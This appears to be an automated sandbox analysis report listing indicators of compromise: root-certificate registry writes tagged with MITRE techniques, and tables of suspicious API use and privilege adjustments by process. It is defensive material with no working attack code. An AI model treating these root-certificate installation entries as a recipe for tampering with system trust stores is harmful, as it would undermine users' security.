Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ProcessHacker.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ProcessHacker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	ProcessHacker.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b060105050703086200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25190000000100000010000000ba4f3972e7aed9dccdc210db59da13c92000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	ProcessHacker.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 5c000000010000000400000000080000190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc36200000001000000200000007431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf090000000100000034000000303206082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030106082b06010505070308530000000100000040000000303e301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	ProcessHacker.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ProcessHacker.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800001900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286040000000100000010000000497904b0eb8719ac47b0bc11519b74d0200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	ProcessHacker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	ProcessHacker.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\snapshot_2026-05-27_12-11.zip:Zone.Identifier	firefox.exe

Suspicious behavior: AddClipboardFormatListener 4 IoCs

pid	Process
5832	Crisp.exe
5552	x64dbg.exe
4956	Crisp.exe
3108	x64dbg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5476	PowerShell.exe
5476	PowerShell.exe
5476	PowerShell.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
5712	powershell.exe
5712	powershell.exe
5712	powershell.exe
3736	powershell.exe
3736	powershell.exe
3736	powershell.exe
5712	powershell.exe
5712	powershell.exe
3736	powershell.exe
3736	powershell.exe
7008	powershell.exe
7008	powershell.exe
7008	powershell.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
7008	powershell.exe
7008	powershell.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 9 IoCs

pid	Process
5964	mmc.exe
5204	osk.exe
6360	taskmgr.exe
5552	x64dbg.exe
3108	x64dbg.exe
4956	Crisp.exe
6396	taskmgr.exe
5844	ProcessHacker.exe
1004	taskmgr.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
676	Process not Found

Suspicious behavior: MapViewOfSection 16 IoCs

pid	Process
4076	CobalDecoder.exe
5040	CobalDecoder.exe
1556	CobalDecoder.exe
6848	CobalDecoder.exe
6840	CobalDecoder.exe
4172	CobalDecoder.exe
5708	CobalDecoder.exe
6616	CobalDecoder.exe
5112	CobalDecoder.exe
5176	CobalDecoder.exe
2264	CobalDecoder.exe
1952	CobalDecoder.exe
6660	CobalDecoder.exe
5156	CobalDecoder.exe
6996	CobalDecoder.exe
6704	CobalDecoder.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe
5860	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3840	firefox.exe
Token: SeDebugPrivilege	3840	firefox.exe
Token: SeDebugPrivilege	5476	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5476	PowerShell.exe
Token: SeSecurityPrivilege	5476	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5476	PowerShell.exe
Token: SeLoadDriverPrivilege	5476	PowerShell.exe
Token: SeSystemProfilePrivilege	5476	PowerShell.exe
Token: SeSystemtimePrivilege	5476	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5476	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5476	PowerShell.exe
Token: SeCreatePagefilePrivilege	5476	PowerShell.exe
Token: SeBackupPrivilege	5476	PowerShell.exe
Token: SeRestorePrivilege	5476	PowerShell.exe
Token: SeShutdownPrivilege	5476	PowerShell.exe
Token: SeDebugPrivilege	5476	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5476	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5476	PowerShell.exe
Token: SeUndockPrivilege	5476	PowerShell.exe
Token: SeManageVolumePrivilege	5476	PowerShell.exe
Token: 33	5476	PowerShell.exe
Token: 34	5476	PowerShell.exe
Token: 35	5476	PowerShell.exe
Token: 36	5476	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5476	PowerShell.exe
Token: SeSecurityPrivilege	5476	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5476	PowerShell.exe
Token: SeLoadDriverPrivilege	5476	PowerShell.exe
Token: SeSystemProfilePrivilege	5476	PowerShell.exe
Token: SeSystemtimePrivilege	5476	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5476	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5476	PowerShell.exe
Token: SeCreatePagefilePrivilege	5476	PowerShell.exe
Token: SeBackupPrivilege	5476	PowerShell.exe
Token: SeRestorePrivilege	5476	PowerShell.exe
Token: SeShutdownPrivilege	5476	PowerShell.exe
Token: SeDebugPrivilege	5476	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5476	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5476	PowerShell.exe
Token: SeUndockPrivilege	5476	PowerShell.exe
Token: SeManageVolumePrivilege	5476	PowerShell.exe
Token: 33	5476	PowerShell.exe
Token: 34	5476	PowerShell.exe
Token: 35	5476	PowerShell.exe
Token: 36	5476	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	5476	PowerShell.exe
Token: SeSecurityPrivilege	5476	PowerShell.exe
Token: SeTakeOwnershipPrivilege	5476	PowerShell.exe
Token: SeLoadDriverPrivilege	5476	PowerShell.exe
Token: SeSystemProfilePrivilege	5476	PowerShell.exe
Token: SeSystemtimePrivilege	5476	PowerShell.exe
Token: SeProfSingleProcessPrivilege	5476	PowerShell.exe
Token: SeIncBasePriorityPrivilege	5476	PowerShell.exe
Token: SeCreatePagefilePrivilege	5476	PowerShell.exe
Token: SeBackupPrivilege	5476	PowerShell.exe
Token: SeRestorePrivilege	5476	PowerShell.exe
Token: SeShutdownPrivilege	5476	PowerShell.exe
Token: SeDebugPrivilege	5476	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	5476	PowerShell.exe
Token: SeRemoteShutdownPrivilege	5476	PowerShell.exe
Token: SeUndockPrivilege	5476	PowerShell.exe
Token: SeManageVolumePrivilege	5476	PowerShell.exe
Token: 33	5476	PowerShell.exe
Token: 34	5476	PowerShell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
5712	powershell.exe
3736	powershell.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
7008	powershell.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
3840	firefox.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe
6360	taskmgr.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
